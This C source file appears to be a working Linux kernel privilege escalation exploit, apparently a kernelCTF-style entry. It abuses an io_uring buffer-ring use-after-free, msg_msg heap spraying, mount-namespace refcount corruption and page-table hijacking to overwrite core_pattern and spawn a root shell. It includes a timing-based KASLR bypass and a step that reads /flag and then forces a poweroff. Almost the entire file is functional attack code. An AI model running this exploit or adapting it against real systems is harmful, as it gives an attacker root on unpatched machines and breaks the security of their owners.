#define _GNU_SOURCE
#include <sched.h>
#include <pthread.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#include <string.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <err.h>
#include <sys/auxv.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/bpf.h>
#include <sys/sendfile.h>
#include <linux/kcmp.h>  /* Definition of KCMP_* constants */
#include <sys/syscall.h> /* Definition of SYS_* constants */
#include <unistd.h>
#include <assert.h>

#include "io_uring.h"

#define PAGE_SIZE 0x1000
#define MSG_MSG_SIZE 0x30
#define MSG_MSGSEG_SIZE 0x8

#define SYSCHK(x) ({              \
    typeof(x) __res = (x);        \
    if (__res == (typeof(x))-1)   \
        err(1, "SYSCHK(" #x ")"); \
    __res;                        \
})

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef char i8;
typedef short i16;
typedef int i32;
typedef long long i64;
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

#define SYSCHK(x) ({              \
    typeof(x) __res = (x);        \
    if (__res == (typeof(x))-1)   \
        err(1, "SYSCHK(" #x ")"); \
    __res;                        \
})

pthread_barrier_t barr;
char __attribute__((aligned(0x1000))) buf[0x1000];
char spraydata[0x1000];
int uring_fd;
struct io_uring_buf_ring *ring_buffer;
struct io_uring_buf_reg reg_ring;
int _msqid[0x4000];
int *msqid;
struct
{
    long mtype;
    char mtext[0x2000];
} msg;

#define PIPE_CNT 0x100
static void flush(void *p)
{
    asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax");
}
static void barrier(void)
{
    int ret = pthread_barrier_wait(&barr);

    assert(!ret || ret == PTHREAD_BARRIER_SERIAL_THREAD);
}
void set_cpu(int i)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    SYSCHK(sched_setaffinity(0, sizeof(mask), &mask));
}

int check_core()
{
    // Check if /proc/sys/kernel/core_pattern has been overwritten
    char buf[0x100] = {};
    int core = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    read(core, buf, sizeof(buf));
    close(core);
    return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0;
}
void crash(char *cmd)
{
    int memfd = memfd_create("", 0);
    // send our binary to memfd for core_pattern payload
    SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff));
    // our binary now at file descriptor 666
    dup2(memfd, 666);
    close(memfd);
    while (check_core() == 0)
        sleep(1);
    puts("Root shell !!");
    /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */
    *(size_t *)0 = 0;
}
void unshare_setup(uid_t uid, gid_t gid)
{
    int temp, ret;
    char edit[0x100];
    SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS | CLONE_NEWIPC));
    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);
    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);
    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);
    return;
}

// in the last loop we only need to increase 0x7ff refcount.
// In total we increase  0x20 * 0x800 - 1 = 0xffff refcount.
int increase_ref_mnts(int last)
{
    struct io_uring_params params = {};
    int dfd[0x800] = {};
    int ufd = SYSCHK(syscall(SYS_io_uring_setup, 1, &params));

    for (int j = 0; j < 0x800 - last; j++)
        dfd[j] = SYSCHK(open("/proc/mounts", 0));

    if (last)
        dfd[0x7ff] = -1;
    // Use io_uring to hold the file's refcount.
    SYSCHK(syscall(__NR_io_uring_register, ufd, IORING_REGISTER_FILES, &dfd, 0x800));
    for (int j = 0; j < 0x800; j++)
        close(dfd[j]);
    return ufd;
}

void free_mntns(int ufd)
{
    int fds[] = {0, 1, 2};
    struct io_uring_rsrc_update2 reg = {

        .data = (size_t)&fds};
    SYSCHK(syscall(__NR_io_uring_register, ufd, IORING_REGISTER_FILES_UPDATE, &reg, 3));
}

size_t *addrs[0x4000];

size_t init_ucounts = 0xffffffff83877660;
size_t core_pattern = 0xffffffff839bbca0;
size_t _vdso_data = 0xffffffff84255080;
size_t PAGE(size_t addr)
{
    return addr & (~0xfff);
}
int bypass_kaslr(u64 base);
int main(int argc, char **argv)
{
    msqid = _msqid;
    setvbuf(stdout, 0, 2, 0);
    size_t slide = 0;
    if (argc == 2)
        slide = strtoull(argv[1], 0, 16) - 0xffffffff81000000;

    // slide = 0x100000;
    printf("slide %zx\n", slide);
    alarm(180);

    // slide = 0;
    init_ucounts += slide;
    core_pattern += slide;
    _vdso_data += slide;

    // helper_init();
    if (argc > 2)
    {

        int pid = strtoull(argv[1], 0, 10);
        int pfd = syscall(SYS_pidfd_open, pid, 0);
        int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
        int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
        int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
        dup2(stdinfd, 0);
        dup2(stdoutfd, 1);
        dup2(stderrfd, 2);
        /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/
        system("cat /flag");
        system("cat /flag");
        system("cat /flag");
        system("cat /flag");
        system("cat /flag");
        system("cat /flag");

        system("cat /flag;echo o>/proc/sysrq-trigger");
        execlp("bash", "bash", NULL);
    }
    if (fork() == 0) // this process is used to trigger core_pattern exploit
    {
        set_cpu(1);
        setsid();
        crash("");
    }
    set_cpu(0);
    while (1)
    {
        int status;
        if (fork() == 0)
            break;
        wait(&status);
        if (status == 0xff00)
        {
            printf("status %d\n", status);
            exit(0);
        }
    }
    pthread_barrier_init(&barr, NULL, 2);

    struct rlimit rlim = {
        .rlim_cur = 0x1000,
        .rlim_max = 0x1000};
    SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim));
    SYSCHK(unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWIPC));

    for (int i = 0; i < 0x4000; i++)
    {
        msqid[i] = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
        if (msqid[i] < 0)
            printf("msgget01 Failed 0x%x\n", i);
    }
    int pfd[2], cfd[2], gfd[2], ffd[2], nfd[2];
    int mnt[0x200];

    SYSCHK(pipe(pfd));
    SYSCHK(pipe(cfd));
    SYSCHK(pipe(gfd));
    SYSCHK(pipe(ffd));
    SYSCHK(pipe(nfd));

    int fd = socket(AF_UNIX, SOCK_STREAM, 0);
    struct io_uring_params params = {}; //{.flags = IORING_SETUP_TASKRUN_FLAG | IORING_SETUP_DEFER_TASKRUN | IORING_SETUP_SINGLE_ISSUER};
    uring_fd = SYSCHK(syscall(SYS_io_uring_setup, 0x8000, &params));
    unsigned char *sq_ring = SYSCHK(mmap(NULL, params.sq_off.array + params.sq_entries * sizeof(unsigned), PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
    unsigned char *cq_ring = SYSCHK(mmap(NULL, params.cq_off.cqes + params.cq_entries * sizeof(struct io_uring_cqe), PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
    struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, params.sq_entries * sizeof(struct io_uring_sqe), PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
    unsigned int *cq_khead = (unsigned int *)(cq_ring + params.cq_off.head);

    SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_FILES, &fd, 1));

    // Register the buffer with io_uring
    char *res_buffer = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0));
    struct io_uring_buf_ring *ring_buffer = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0));

    ring_buffer->bufs[0].addr = (size_t)res_buffer;
    ring_buffer->bufs[0].len = 0x1000;
    ring_buffer->tail = 1;
    struct io_uring_buf_reg reg_ring = {
        .ring_addr = (unsigned long)ring_buffer,
        .ring_entries = 1,
        .bgid = 1};

    for (int i = 0; i < 0x1000; i++)
    {
        reg_ring.bgid = i;
        SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg_ring, 1));
    }

    sqes[0] = (struct io_uring_sqe){
        .opcode = IORING_OP_READ,
        .flags = IOSQE_IO_LINK,
        .fd = pfd[0],
        .addr = (size_t)buf,
        .len = 1,

    };

    struct iovec iov = {.iov_len = 0x1000};
    sqes[1] = (struct io_uring_sqe){
        .opcode = IORING_OP_READV,
        .flags = IOSQE_FIXED_FILE | IOSQE_BUFFER_SELECT | IOSQE_IO_HARDLINK,
        .fd = 0,
        .addr = (size_t)&iov,
        .len = 1,
        .buf_group = 0x800,
    };

    /*
    sqes[2] = sqes[0];
    sqes[3] = sqes[1];

    for (int i = 0; i < 4; i++)
        ((int *)(sq_ring + params.sq_off.array))[i] = i;
    //((int *)(sq_ring + params.sq_off.array))[1] = 1;
    (*(int *)(sq_ring + params.sq_off.tail)) += 4;
    */
    sqes[0].fd = cfd[0];
    (*(int *)(sq_ring + params.sq_off.tail)) += 0x8000;
    for (int i = 1; i < 0x8000; i++)
    {
        ((int *)(sq_ring + params.sq_off.array))[i] = i;
        sqes[i] = sqes[1];
    }
    sqes[0x8000 - 1].flags = IOSQE_FIXED_FILE | IOSQE_BUFFER_SELECT;

    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0x8000, 0, 0, NULL, 0));
    (*(int *)(sq_ring + params.sq_off.tail)) += 0x8000;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0x8000, 0, 0, NULL, 0));

    sqes[0].fd = ffd[0];
    (*(int *)(sq_ring + params.sq_off.tail)) += 0x8000;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0x8000, 0, 0, NULL, 0));
    (*(int *)(sq_ring + params.sq_off.tail)) += 0x8000;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0x8000, 0, 0, NULL, 0));

    sqes[0].fd = cfd[0];
    sqes[1].flags = IOSQE_FIXED_FILE | IOSQE_BUFFER_SELECT;
    (*(int *)(sq_ring + params.sq_off.tail)) += 2;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 2, 0, 0, NULL, 0));

    sqes[2] = sqes[0];
    sqes[2].fd = nfd[0];
    sqes[3] = sqes[1];
    (*(int *)(sq_ring + params.sq_off.tail)) += 2;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 2, 0, 0, NULL, 0));

    sqes[4] = sqes[0];
    sqes[4].fd = pfd[0];
    sqes[5] = sqes[1];
    (*(int *)(sq_ring + params.sq_off.tail)) += 2;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 2, 0, 0, NULL, 0));

    sqes[6] = sqes[2];
    sqes[6].fd = gfd[0];
    sqes[7] = sqes[3];
    (*(int *)(sq_ring + params.sq_off.tail)) += 0x4002;
    sqes[7].flags = IOSQE_FIXED_FILE | IOSQE_BUFFER_SELECT | IOSQE_IO_HARDLINK;
    sqes[6 + 0x4002].flags = IOSQE_FIXED_FILE | IOSQE_BUFFER_SELECT;
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0x4002, 0, 0, NULL, 0));

    for (int i = 0; i < 0x1000; i++)
    {
        reg_ring.bgid = i;
        SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &reg_ring, 1));
    }

    msg.mtype = 1;
    memset(&msg.mtext[0], 0, 0x2000);

    for (int i = 0; i < 0x1000; i++)
        SYSCHK(msgsnd(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 0));

    write(pfd[1], buf, 0x1);
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 2, IORING_ENTER_GETEVENTS, NULL, 0));
    for (int i = 0; i < 0x1000; i++)
    {
        SYSCHK(msgrcv(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 0, MSG_COPY | IPC_NOWAIT));
        if (*(short *)&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 22] == 1)
        {
            printf("%d Found\n", i);
            SYSCHK(msgrcv(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 1, 0));
            goto cont;
            break;
        }
    }
    puts("Not Found");
    exit(0);
cont:

    for (int i = 0; i < 0x100; i++)
    {
        mnt[i] = open("/proc/self/ns/mnt", 0);
        SYSCHK(unshare(CLONE_NEWNS));
    }

    write(cfd[1], buf, 0x3);
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 0x8000, IORING_ENTER_GETEVENTS, NULL, 0));
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 0x8000, IORING_ENTER_GETEVENTS, NULL, 0));
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 2, IORING_ENTER_GETEVENTS, NULL, 0));
    struct timespec tp = {};
    struct timespec tp2 = {};
    int target = -1;
    for (int i = 0; i < 0x100; i++)
    {
        printf("mnt[%d]\n", i);
        int n = (setns(mnt[i], 0));
        if (n < 0)
        {
            char cmd[0x100];
            sprintf(cmd, "ls -al /proc/%d/fd/%d", getpid(), mnt[i]);
            system(cmd);
            exit(-1);
        }
        clock_gettime(CLOCK_MONOTONIC, &tp);
        close(SYSCHK(open("/proc/mounts", 0)));
        clock_gettime(CLOCK_MONOTONIC, &tp2);
        ssize_t nt = tp2.tv_nsec - tp.tv_nsec;
        if (nt < 0)
            nt += 1000000000ULL;
        if (nt > 8600803)
        {
            target = mnt[i - 1];
            printf("Found target %d\n", target);
            break;
        }
    }
    if (target == -1)
    {
        puts("Not Found target");
        exit(-1);
    }
    write(gfd[1], buf, 1);
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 0x4000, IORING_ENTER_GETEVENTS, NULL, 0));
    // wait UAF write finish
    sleep(1);


    int ufd[0x20];
    int mntfd = SYSCHK(open("/proc/mounts", 0)); //mnt_namespace.ns.count = 1
    int mntfd2 = SYSCHK(open("/proc/mounts", 0)); //mnt_namespace.ns.count = 2

    //mnt_namespace.ns.count = 0x10001
    for (int j = 0; j < 0x20; j++)
        ufd[j] = increase_ref_mnts(j == 0x1f);
    write(ffd[1], buf, 0x2);
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 0x8000, IORING_ENTER_GETEVENTS, NULL, 0));
    SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 0, 0x8000, IORING_ENTER_GETEVENTS, NULL, 0));

    // wait UAF write finish, so mnt_namespace.ns.count = 0x1
    sleep(1);

    msg.mtype = 1;
    memset(&msg.mtext[0], 0, 0x2000);

    *(int *)(&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 20]) = 1;
    *(size_t *)(&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 24]) = 0;
    *(size_t *)(&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 64]) = init_ucounts;

    close(mntfd); //free struct mnt_namespace

    msqid += (0x1000);

    for (int i = 0; i < 0x1000; i++)
        SYSCHK(msgsnd(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 0));

    int uringfd_for_spray_io_fixed_file[0x100];
    int reclaimed_as_uringfd[0x100];
    int tmpfd[0x10];
    int victimfd[0x100];

    for (int i = 0; i < 0x100; i++)
    {
        struct io_uring_params params = {};
        uringfd_for_spray_io_fixed_file[i] = SYSCHK(syscall(SYS_io_uring_setup, 1, &params));
        victimfd[i] = SYSCHK(socket(AF_UNIX, SOCK_STREAM, 0));
    }

    close(mntfd2);

retry:
    for (int i = 0; i < 0x10; i++)
        tmpfd[i] = -1;

    for (int i = 0; i < 0x100; i++)
    {
        tmpfd[1] = victimfd[i];
        tmpfd[2] = 0;
        SYSCHK(syscall(__NR_io_uring_register, uringfd_for_spray_io_fixed_file[i], IORING_REGISTER_FILES, &tmpfd, 0x10));
    }

    size_t fileA_addr = 0;
    for (int i = 0; i < 0x1000; i++)
    {
        msgrcv(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 0, MSG_COPY | IPC_NOWAIT);
        fileA_addr = *(size_t *)(&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 8]);
        if (fileA_addr)
        {
            printf("fileA_addr 0x%lx\n", fileA_addr);
            msgrcv(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 1, 0);
            break;
        }
    }
    if (fileA_addr == 0)
    {
        for (int i = 0; i < 0x100; i++)
            close(uringfd_for_spray_io_fixed_file[i]);

        for (int i = 0; i < 0x100; i++)
        {
            struct io_uring_params params = {};
            uringfd_for_spray_io_fixed_file[i] = SYSCHK(syscall(SYS_io_uring_setup, 1, &params));
        }
        puts("Retry");
        exit(-1);
        goto retry;
    }

    msg.mtype = 2;
    memset(&msg.mtext[0], 0, 0x2000);
    *(size_t *)(&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 8]) = fileA_addr;
    *(size_t *)(&msg.mtext[PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 16]) = fileA_addr;

    for (int i = 0; i < 0x400; i++)
        msgsnd(msqid[i], &msg, PAGE_SIZE - MSG_MSG_SIZE - MSG_MSGSEG_SIZE + 128, 0);

    int fds[] = {-1, -1, -1};
    struct io_uring_rsrc_update2 reg = {
        .offset = 1,
        .data = (size_t)&fds};
    for (int i = 0; i < 0x100; i++)
        SYSCHK(syscall(__NR_io_uring_register, uringfd_for_spray_io_fixed_file[i], IORING_REGISTER_FILES_UPDATE, &reg, 2));

    // wait rcu_callback to decrease file's refcount
    sleep(5);

    for (int i = 0; i < 0x100; i++)
    {
        memset(&params, 0, sizeof(params));
        reclaimed_as_uringfd[i] = SYSCHK(syscall(SYS_io_uring_setup, 0x1000, &params));
    }
    set_cpu(0);
    size_t *uaf = NULL;
    pid_t mypid = getpid();
    int pgtable_spray_memfd = memfd_create("x", 0);
    fallocate(pgtable_spray_memfd, 0, 0, 0x1000);
    for (int i = 0; i < 0x2000; i++)
        addrs[i] = mmap((void *)(0x200000UL * i + 0x40000000), 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, pgtable_spray_memfd, 0);

    for (int i = 0; i < 0x100; i++)
    {
        for (int j = 0; j < 0x100; j++)
            if (syscall(SYS_kcmp, mypid, mypid, KCMP_FILE, victimfd[i], reclaimed_as_uringfd[j]) == 0)
            {
                puts("Found !!");
                uaf = SYSCHK(mmap(NULL, params.sq_entries * sizeof(struct io_uring_sqe), PROT_READ | PROT_WRITE, MAP_SHARED, reclaimed_as_uringfd[j], IORING_OFF_SQES));
                close(victimfd[i]);
                close(reclaimed_as_uringfd[j]);
                break;
            }
        if (uaf != 0)
            break;
    }
    printf("%p 0x%lx\n", uaf, params.sq_entries * sizeof(struct io_uring_sqe));

    {

        char empty[0x1000] = {};

        for (int i = 0; i < 0x2000; i++)
            addrs[i][0] = 0x1234;

        size_t A = 0;
        size_t *leaks_B = NULL;
        size_t flags = 0;
        for (int i = 0; i < 0x40; i++)
        {
            if ((uaf[0] & 0xff) == 0x67)
            {
                puts("Found Page Table");
                flags = uaf[0] = (uaf[0] & 0xfff);
                for (int k = 0; k < 0x2000; k++)
                {
                    if (addrs[k][0] != 0x1234)
                    {
                        A = k;
                        leaks_B = uaf;
                        puts("Found Page Table 2");
                        break;
                    }
                }

                break;
            }
            if (leaks_B)
                break;
            uaf += (0x1000 / 8);
        }

        // addrs[A]'s PTE is leaks_B[0]
        void *vdso = (void *)getauxval(AT_SYSINFO_EHDR);
        void *vvar = vdso - 0x4000;

        // remap vvar to addr[A] + (0x1000 / 8), so its PTE is at leaks_B[1]
        SYSCHK(mremap(vvar, 0x4000, 0x4000, MREMAP_MAYMOVE | MREMAP_FIXED, addrs[A] + (0x1000 / 8)));

        // access this memory to insert PTE for leaking
        puts((char *)(addrs[A] + (0x1000 / 8)));
        printf("0x%lx 0x%lx 0x%lx\n", leaks_B[1], PAGE(core_pattern), PAGE(_vdso_data));

        // We set core_pattern page at leaks_B[2], we can access it by addr[A] + (0x2000 / 8)
        leaks_B[2] = ((leaks_B[1] & (~0xfff)) + (PAGE(core_pattern) - PAGE(_vdso_data))) | flags;
        printf("0x%lx\n", leaks_B[2]);
        flush(&leaks_B[2]);

        strcpy((void *)&addrs[A][(core_pattern & 0xfff) / 8 + 0x2000 / 8], "|/proc/%P/fd/666 %P %P");
        puts("Overwrite core_pattern");
        raise(SIGSTOP);
    }
}
inline __attribute__((always_inline)) uint64_t rdtsc_begin()
{
    uint64_t a, d;
    asm volatile("mfence\n\t"
                 "RDTSCP\n\t"
                 "mov %%rdx, %0\n\t"
                 "mov %%rax, %1\n\t"
                 "xor %%rax, %%rax\n\t"
                 "lfence\n\t"
                 : "=r"(d), "=r"(a)
                 :
                 : "%rax", "%rbx", "%rcx", "%rdx");
    a = (d << 32) | a;
    return a;
}

inline __attribute__((always_inline)) uint64_t rdtsc_end()
{
    uint64_t a, d;
    asm volatile(
        "xor %%rax, %%rax\n\t"
        "lfence\n\t"
        "RDTSCP\n\t"
        "mov %%rdx, %0\n\t"
        "mov %%rax, %1\n\t"
        "mfence\n\t"
        : "=r"(d), "=r"(a)
        :
        : "%rax", "%rbx", "%rcx", "%rdx");
    a = (d << 32) | a;
    return a;
}

void prefetch(void *p)
{
    asm volatile(
        "prefetchnta (%0)\n"
        "prefetcht2 (%0)\n"
        : : "r"(p));
}

size_t flushandreload(void *addr) // row miss
{
    size_t time = rdtsc_begin();
    prefetch(addr);
    size_t delta = rdtsc_end() - time;
    return delta;
}
int bypass_kaslr(u64 base)
{
    if (!base)
    {
#ifdef KASLR_BYPASS_INTEL
#define OFFSET 0
#define START (0xffffffff81000000ull + OFFSET)
#define END (0xffffffffD0000000ull + OFFSET)
#define STEP 0x0000000001000000ull
        while (1)
        {
            u64 bases[7] = {0};
            for (int vote = 0; vote < ARRAY_LEN(bases); vote++)
            {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++)
                {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++)
                {
                    for (int ti = 0; ti < ARRAY_LEN(times); ti++)
                    {
                        u64 addr = addrs[ti];
                        size_t t = flushandreload((void *)addr);
                        if (t < times[ti])
                        {
                            times[ti] = t;
                        }
                    }
                }

                size_t minv = ~0;
                size_t mini = -1;
                for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++)
                {
                    if (times[ti] < minv)
                    {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0)
                {
                    return -1;
                }

                bases[vote] = addrs[mini];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++)
            {
                if (c == 0)
                {
                    base = bases[i];
                }
                else if (base == bases[i])
                {
                    c++;
                }
                else
                {
                    c--;
                }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++)
            {
                if (base == bases[i])
                {
                    c++;
                }
            }
            if (c > ARRAY_LEN(bases) / 2)
            {
                base -= OFFSET;
                goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
#else
#define START (0xffffffff81000000ull)
#define END (0xffffffffc0000000ull)
#define STEP 0x0000000000200000ull
#define NUM_TRIALS 9
// largest contiguous mapped area at the beginning of _stext
#define WINDOW_SIZE 11

        while (1)
        {
            u64 bases[NUM_TRIALS] = {0};

            for (int vote = 0; vote < ARRAY_LEN(bases); vote++)
            {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++)
                {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++)
                {
                    for (int ti = 0; ti < ARRAY_LEN(times); ti++)
                    {
                        u64 addr = addrs[ti];
                        size_t t = flushandreload((void *)addr);
                        if (t < times[ti])
                        {
                            times[ti] = t;
                        }
                    }
                }

                uint64_t max = 0;
                int max_i = 0;
                for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++)
                {
                    uint64_t sum = 0;
                    for (int i = 0; i < WINDOW_SIZE; i++)
                    {
                        sum += times[ti + i];
                    }
                    if (sum > max)
                    {
                        max = sum;
                        max_i = ti;
                    }
                }

                bases[vote] = addrs[max_i];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++)
            {
                if (c == 0)
                {
                    base = bases[i];
                }
                else if (base == bases[i])
                {
                    c++;
                }
                else
                {
                    c--;
                }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++)
            {
                if (base == bases[i])
                {
                    c++;
                }
            }
            if (c > ARRAY_LEN(bases) / 2)
            {
                goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %llx with %d votes\n", base, c);
        }
#endif
    }

got_base:
#ifdef KASLR_BYPASS_INTEL
    base -= 0x1000000;
#endif

    printf("using kernel base %llx\n", base);

    return base;
}
